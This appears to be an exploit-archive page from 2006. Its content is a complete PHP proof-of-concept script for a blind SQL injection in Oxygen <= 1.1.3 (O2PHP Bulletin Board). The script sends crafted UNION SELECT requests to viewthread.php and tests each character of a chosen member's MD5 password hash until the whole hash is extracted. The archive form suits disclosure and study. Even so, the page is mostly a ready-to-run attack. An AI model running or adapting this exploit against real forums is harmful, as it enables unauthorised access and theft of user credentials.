Home / exploits

PDF

oxygen-SQL.txt

Posted on 20 November 2006

#!/usr/bin/php
<?

if($argc<4){
print("
-------------------------------------------------------
Affected.scr..: Oxygen <= 1.1.3 (O2PHP Bulletin Board)
Poc.ID........: 14061118
Type..........: SQL Injection
Risk.level....: Medium
Conditions....: register_globals = on
Src.download..: download.o2php.com
Poc.link......: acid-root.new.fr/poc/14061118.txt
Credits.......: DarkFig
Note..........: FOR EDUCATIONAL PURPOSE ONLY
-------------------------------------------------------
Usage.........: php 14061118.txt <host> <path> <userid>
-------------------------------------------------------
");
exit(1);
}

print "
 Please be patient (max=736 hits)...
 MD5: ";
$host = !preg_match("/^http://(S*)/",$argv[1],$hwttp) ? $argv[1] : $hwttp[1];
$path = $argv[2];
$usid = intval($argv[3]);
$tabl = "o2_members";

for($x=1;  $x<=32; $x++) {
for($y=48; $y<=71; $y++) {

$recv  = '';
$sqli  = "%20UNION%20SELECT%201,1%20FROM%20".$tabl."%20WHERE%20uid=".$usid."%20AND%20substr(password,".$x.",1)=char(".$y.")%23";
$data  = "GET ".$path."viewthread.php?tid=1&pid=-1".$sqli." HTTP/1.1 
";
$data .= "Host: $host
";
$data .= "Connection: Close

";

if(!$sock  = @fsockopen($host, 80)) die("Connection problem
");
fputs($sock, $data);

while(!feof($sock)) $recv .= fgets($sock);
fclose($sock);

if(preg_match("/Location: viewthread.php/", $recv)) {
print strtolower(chr($y));
break;
} elseif($y == 71) {
print "Not vulnerable
";
exit(1);

}}}

print "
";
exit(0);

?>

 

TOP